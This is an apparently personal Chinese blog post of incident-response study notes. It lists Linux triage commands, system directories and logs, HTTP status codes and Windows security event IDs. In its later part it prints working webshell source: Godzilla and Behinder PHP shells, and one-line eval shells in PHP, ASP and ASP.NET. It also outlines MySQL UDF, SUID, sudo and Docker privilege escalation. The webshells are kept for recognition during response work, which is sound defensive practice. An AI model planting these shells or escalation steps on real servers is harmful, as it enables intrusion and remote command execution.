应急响应基础内容
本文最后更新于49 天前,其中的信息可能已经过时,如有错误请发送邮件到1157395387@qq.com

这个板块只要我学会一小块内容我就会继续接着往上更新修改

应急相应流程分为六个阶段

准备,检测,遏制,根除,恢复,跟踪

应急响应查找指令

查看进程
ps -aux

查看关联进程
ps -aux | grep pid

查看cpu占用率前十的进程
ps aux --sort=pcpu | head -10

查看除了不可登录以外的用户都有哪些,有没有新增的
cat /etc/passwd | grep -v nologin

查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。
stat /etc/passwd

查看当前登录用户,以及其登录ip。pts代表远程登录,tty代表本地登陆。
who

查看现在的时间、系统开机时长、目前多少用户登录,系统在过去的1分钟、5分钟和15分钟内的平均负载。
uptime

查看历史命令
history

查看端口开放和连接情况
netstat -pantu

查看开机启动项
systemctl list-unit-files | grep enabled

查看定时任务
crontab  -l

查看其他用户的计划任务
crontab -u <用户名> -l

进程动态监控,默认根据cpu的占用情况进行排序的,按b可根据内存使用情况排序
top

监控指定程序
top -p pid

静态监控
ps -ef

统计爆破主机root账号的失败次数及ip
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

用于查看系统中所有服务的状态摘要
systemctl status <文件名.service>

待定?
find / -name ".*" 2>/dev/null | grep -v "^\/sys\/"

查看系统中 PID 为 1133 的进程的详细状态信息,可以将1133换成其他的
cat /proc/1133/status

查找设置了 SUID 权限的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

应急响应文件含义(默认情况下)

目录含义
/bin存放系统启动时必须的基本命令,如 ls, cp, mv, cat 等,这些命令对于所有用户都可用。
/boot存放操作系统启动时所需的文件,主要包括内核文件(如 vmlinuz)和引导加载程序(如 GRUB 配置)。
/dev存放设备文件,用于访问硬件设备(如硬盘、显示器、鼠标、终端设备等),在 Linux 中设备是作为文件来操作的。
/etc存放系统和应用的配置文件,如用户账户信息(passwd)、网络配置(interfaces)等。
/home存放普通用户的个人数据和配置文件,每个用户都有一个子目录(如 /home/user)。
/opt存放可选的应用程序或软件包,通常是第三方应用或手动安装的应用。
/sys存放系统信息文件,提供内核和硬件的虚拟接口,用户和系统管理员可以通过它获取和修改系统运行状态。
/usr存放系统应用程序、共享库和文档等,包含多种子目录,如 /usr/bin(可执行文件)、/usr/lib(库文件)等。
/var存放系统中不断变化的数据,如日志文件、缓存、邮件、数据库等。
/root系统管理员(root 用户)的家目录,用于存放 root 用户的配置和数据。
/lib存放系统所需的共享库文件和内核模块,供 /bin/sbin 中的程序调用。
/mnt临时挂载点,通常用于挂载外部存储设备(如 USB 设备、磁盘等)。
/media存放自动挂载的可移动设备文件系统,如 U 盘、光盘、外部硬盘等。
/proc虚拟文件系统,提供进程和系统信息,如进程状态、内存使用情况、硬件信息等。
/srv存放服务数据,通常用于存放 Web 服务器或其他服务提供的数据,如 /srv/www 用于 Web 服务。
/tmp临时文件存放目录,程序和系统可能会在这里创建临时文件,通常会定期清理。
/var/www/htmlWeb 服务器(如 Apache)的默认文档根目录,用于存放 Web 应用程序文件(如 HTML、PHP 文件等)。
/usr/local存放本地安装的软件及其配置文件,通常用于手动安装的应用程序,避免和系统包管理器的文件发生冲突。
/run存放系统运行时的临时数据,如当前的进程ID、系统状态等,通常是在系统启动时创建的。
/libexec存放系统和应用程序需要的辅助程序或脚本,通常这些程序并不是直接执行的,而是作为其他进程的支持工具。
/usr/share存放架构无关的共享数据,通常包括文档、帮助文件、图标、字体等。
/var/spool存放等待被处理的任务数据,如邮件队列、打印任务等。
/var/cache存放应用程序和系统使用的缓存文件,通常用于加速应用程序运行。
/var/lib存放应用程序状态数据,如数据库文件、应用程序生成的文件等。
/var/log存放系统日志文件,记录了系统和应用程序的运行日志,通常用于诊断和排错。
/var/log/syslog记录系统的各种信息和错误。
/var/log/auth.log记录身份验证相关的信息,如登录和认证失败。
/var/log/kern.log记录内核生成的日志信息。
/var/log/dmesg记录系统启动时内核产生的消息。
/var/log/boot.log记录系统启动过程中的消息。
/var/log/messages记录系统的广泛消息,包括启动和应用程序信息
/var/log/secure记录安全相关的消息。
/var/log/httpd记录Apache HTTP服务器的访问和错误日志。
/var/log/nginx记录Nginx服务器的访问和错误日志
/var/log/user.logLinux 系统中记录用户级别的警告(warn)和通知(notice)类日志的文件。
/var/log/alternatives.log是 Linux 系统中记录 “update-alternatives” 工具操作日志的文件

静态检测

特殊后缀结尾

查找危险函数

状态码

1xx (Informational) 信息性状态码,表示正在处理。

   100:用户端应继续发送请求

   101:切换协议

2xx (Success) 成功状态码,表示请求正常。

  200:成功响应

  201:请求已实现并且创建了新资源。

  202:已接受请求,但尚未处理。

  204:成功响应,但是这个响应不包含响应体,这个响应不应该引起浏览器视图变化。

  205:成功响应,但是这个响应不包含响应体,并且这个响应要求引起浏览器视图变化。

3xx (Redirection) 重定向状态码,表示客户端需要进行附加操作。

  301:永久重定向,目标网站已经永久转移到其他网址,浏览器将会缓存响应的URL。

  302:临时重定向,目标网站暂时转移到其他网址,浏览器不会缓存响应的URL。

  304: 使用的是缓存的数据

  305: 使用代理,当前服务器并不负责返回响应,它只是转发请求的,让别的服务器去返回响应,然后它在转回数据

4xx (Client Error) 客户端错误状态码,表示服务器无法处理请求。

 400:请求包含语法错误

 401:当前请求需要进行用户验证

 403:服务端成功接收请求,但拒绝执行。

 404:用户端请求资源未找到

5xx (Server Error) 服务器错误状态码,表示服务器处理请求出错。

 500:后台处理出错

 502:网关接收到无效响应

 503:暂时无法提供服务

 504:网关长时间未接收到响应

安全日志相关时间ID

ID意思解释
4624成功的账户登录事件登录的账号、时间、来源 IP 等信息可帮助识别是否有非法登录。
4625账户登陆失败事件记录未能登录的尝试,帮助检测密码爆破或非法访问。
4634用户注销事件记录用户主动注销,或超时后系统自动注销。
4672特权账户登录事件当管理员或特权账号登录时,记录该事件,检测高权限用户的使用情况
4688新进程创建事件记录进程的创建信息,能帮助检测恶意软件的执行情况
4697系统上安装服务的事件记录系统中安装的服务,可以检测未经授权的服务安装
4768Kerberos 认证票据授予(TGT)事件与域控制器的身份验证有关,可以帮助分析域账号是否被滥用
4776NTLM 认证失败事件NTLM认证失败时记录,可以帮助检测异常的身份验证行为
4719审计策略更改事件系统审计策略的更改,能帮助判断是否有恶意用户试图掩盖痕迹
4648使用显式凭据登录意味着用户在登录时手动输入了用户名和密码,而不是通过自动登录或凭据缓存来进行身份验证。
6005事件日志服务启动表示系统启动了事件日志服务,通常用于分析系统启动。
6006事件日志服务停止表示系统即将关机,通常配合其他日志判断系统是否被异常关机。
6008非正常关机事件系统意外关闭时记录,用于检测系统崩溃或强制关机。
7045服务安装事件记录系统中安装的新服务,通常用于分析是否有恶意服务被安装。
4720用户账户创建事件当一个新用户账户被创建时,Windows 会自动生成一个带有这个 ID 的日志条目,详细记录该账户的相关信息。
1000应用程序崩溃事件记录应用程序崩溃的详细信息,包括错误代码和故障模块名称
4621应用程序挂起事件用于分析应用程序无响应,卡死的原因
4647用户主动注销注销的用户名
4722用户账户已启用启用的账户名。
4725用户账户已禁用禁用的账户名。
4726用户账户已删除删除的账户名、删除者的账户名等。
4670权限服务状态变更对象名称、权限变更的细节等。
4673特权服务已请求请求的服务类型、用户账户名等。
4946Windows 防火墙规则添加新的防火墙规则被添加,规则名称、添加者的账户名等。
4947Windows 防火墙规则修改防火墙规则被修改,规则名称、修改的细节等。
4663访问对象用户尝试访问受保护的文件或对象,对象名称、访问的类型、用户账户名等。
7036服务已更改状态服务已更改状态(如启动或停止)
4738用户帐户已更改用于创建、删除、修改等,是专门用于记录用户账户被修改的事件,包括但不限于用户名的修改。
1074

哥斯拉webshell源码

为什么要记录这些源码主要是还没学代码审计,想着在应急响应的时候如果遇到了webshell我能通过看一下是否相似来判断是什么webshell,虽然可能性不太大,但是有总比没有好。

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

冰蝎webshell源码

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

蚁剑webshell源码

PHP:    
<?php @eval($_POST['chopper']);?>
ASP:    
<%eval request("chopper")%>
ASP.NET:    
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>

MySQL提权

UDF提权

UDF 是数据库(如 MySQL、SQL Server)支持的自定义函数,允许用户编写额外逻辑扩展数据库功能。黑客利用数据库漏洞(如弱口令、SQL 注入)登录数据库后,上传恶意 UDF 文件到数据库指定目录,创建恶意函数,通过函数执行系统命令,最终将数据库权限提升为系统 root 权限。UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/

UDF提权的特点

关键配置的 “高危信号”

  • secure_file_priv 为空:这个变量控制数据库读写外部文件的权限。当它为空时,数据库可以向任意目录写入文件。攻击者可利用 SELECT ... INTO DUMPFILE 语句,将恶意的 UDF 共享库(如.so.dll文件)写入数据库的插件目录(如lib/plugin
  • secure_auth=OFF:允许低版本客户端用弱加密密码连接,意味着数据库可能存在弱口令风险,攻击者更容易获取高权限账号(如root),为后续 UDF 提权创造条件。

UDF 提权的 “逻辑链条”

UDF(用户自定义函数)提权的核心是通过恶意共享库执行系统命令。结合上述配置,攻击流程如下:

  1. 攻击者利用弱口令或其他漏洞获取数据库高权限(如root)。
  2. 由于secure_file_priv为空,攻击者将恶意 UDF 文件(如lib_mysqludf_sys.so)写入数据库的plugin目录。
  3. 通过CREATE FUNCTION语句注册 UDF 函数(如sys_exec),从而执行系统命令(如whoami、添加管理员用户),实现从数据库权限到系统权限的提升。

SUID提权

这种提权应该是再刷靶场最长遇到的了,一般来说当一个文件具有suid的权限的时候,执行该文件的用户就可以临时获得该文件拥有者的权限,通常都是root用户的权限,当或者了这么高的权限那就可以执行一些高权限的操作,利用这些操作来获取root的权限。

一般情况下我们就需要去通过查找root用户的suid文件,尤其是要注意拥有可执行文件权限的文件,例如find这种。我们可以通过指令去查找suid的文件。

Sudo提权

这个一般就是知道了管理员的密码以后通过sudo提权获取,一般为了方便会把某些用户设置为无需密码,配置不当可能就会造成其他用户在不知道密码的情况下进行提权。

Docker提权

这是上次刷题发现的,但是忘记了是那个题了,当时属于是我看不了root目录下的东西,并且通过网上查阅知道了可以起一个docker然后来把所有文件打包到docker下,这就相当于我拥有的docker的root权限自然可以查看原来的root目录(不知道这么理解对不对,错误的话请师傅指出)。做完以后我对docker做了个总结

通过查阅发现了什么时候才能进行docker提权是因为,在容器配置漏洞或者不当设置的时候,突破了容器的限制,从而获得了主机的root权限。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇